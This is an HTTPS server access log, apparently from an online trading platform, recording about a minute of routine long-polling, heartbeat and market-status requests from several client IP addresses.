[09/Jan/2026:09:46:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923469058 HTTP/1.1" -
[09/Jan/2026:09:46:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923484073 HTTP/1.1" -
[09/Jan/2026:09:46:41 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923470550 HTTP/1.1" -
[09/Jan/2026:09:46:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923473234 HTTP/1.1" -
[09/Jan/2026:09:46:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:43 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923472537 HTTP/1.1" -
[09/Jan/2026:09:46:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:44 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923473300 HTTP/1.1" -
[09/Jan/2026:09:46:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923489137 HTTP/1.1" -
[09/Jan/2026:09:46:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923475583 HTTP/1.1" -
[09/Jan/2026:09:46:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923475049 HTTP/1.1" -
[09/Jan/2026:09:46:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923478360 HTTP/1.1" -
[09/Jan/2026:09:46:48 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923477626 HTTP/1.1" -
[09/Jan/2026:09:46:50 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923479297 HTTP/1.1" -
[09/Jan/2026:09:46:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923494164 HTTP/1.1" -
[09/Jan/2026:09:46:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923480598 HTTP/1.1" -
[09/Jan/2026:09:46:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923483499 HTTP/1.1" -
[09/Jan/2026:09:46:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923481049 HTTP/1.1" -
[09/Jan/2026:09:46:53 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923482702 HTTP/1.1" -
[09/Jan/2026:09:46:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923499243 HTTP/1.1" -
[09/Jan/2026:09:46:56 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923485290 HTTP/1.1" -
[09/Jan/2026:09:46:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923485654 HTTP/1.1" -
[09/Jan/2026:09:46:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923488617 HTTP/1.1" -
[09/Jan/2026:09:46:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923487047 HTTP/1.1" -
[09/Jan/2026:09:46:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:00 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923489593 HTTP/1.1" -
[09/Jan/2026:09:47:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923504307 HTTP/1.1" -
[09/Jan/2026:09:47:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923490672 HTTP/1.1" -
[09/Jan/2026:09:47:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923493736 HTTP/1.1" -
[09/Jan/2026:09:47:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923491298 HTTP/1.1" -
[09/Jan/2026:09:47:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923493058 HTTP/1.1" -
[09/Jan/2026:09:47:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923494663 HTTP/1.1" -
[09/Jan/2026:09:47:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923509365 HTTP/1.1" -
[09/Jan/2026:09:47:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923495716 HTTP/1.1" -
[09/Jan/2026:09:47:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923498786 HTTP/1.1" -
[09/Jan/2026:09:47:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923497297 HTTP/1.1" -
[09/Jan/2026:09:47:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923499649 HTTP/1.1" -
[09/Jan/2026:09:47:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923514396 HTTP/1.1" -
[09/Jan/2026:09:47:10 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923499690 HTTP/1.1" -
[09/Jan/2026:09:47:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923500741 HTTP/1.1" -
[09/Jan/2026:09:47:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923503851 HTTP/1.1" -
[09/Jan/2026:09:47:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923503301 HTTP/1.1" -
[09/Jan/2026:09:47:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923519461 HTTP/1.1" -
[09/Jan/2026:09:47:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923504788 HTTP/1.1" -
[09/Jan/2026:09:47:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923505059 HTTP/1.1" -
[09/Jan/2026:09:47:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923505784 HTTP/1.1" -
[09/Jan/2026:09:47:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923508970 HTTP/1.1" -
[09/Jan/2026:09:47:19 +0800] 113.81.36.191 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:47:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923509296 HTTP/1.1" -
[09/Jan/2026:09:47:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923524484 HTTP/1.1" -
[09/Jan/2026:09:47:21 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923509870 HTTP/1.1" -
[09/Jan/2026:09:47:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923510806 HTTP/1.1" -
[09/Jan/2026:09:47:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923514098 HTTP/1.1" -
[09/Jan/2026:09:47:22 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923511053 HTTP/1.1" -
[09/Jan/2026:09:47:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923529525 HTTP/1.1" -
[09/Jan/2026:09:47:26 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923514957 HTTP/1.1" -
[09/Jan/2026:09:47:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923515298 HTTP/1.1" -
[09/Jan/2026:09:47:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923515827 HTTP/1.1" -
[09/Jan/2026:09:47:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923519224 HTTP/1.1" -
[09/Jan/2026:09:47:28 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923517059 HTTP/1.1" -
[09/Jan/2026:09:47:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
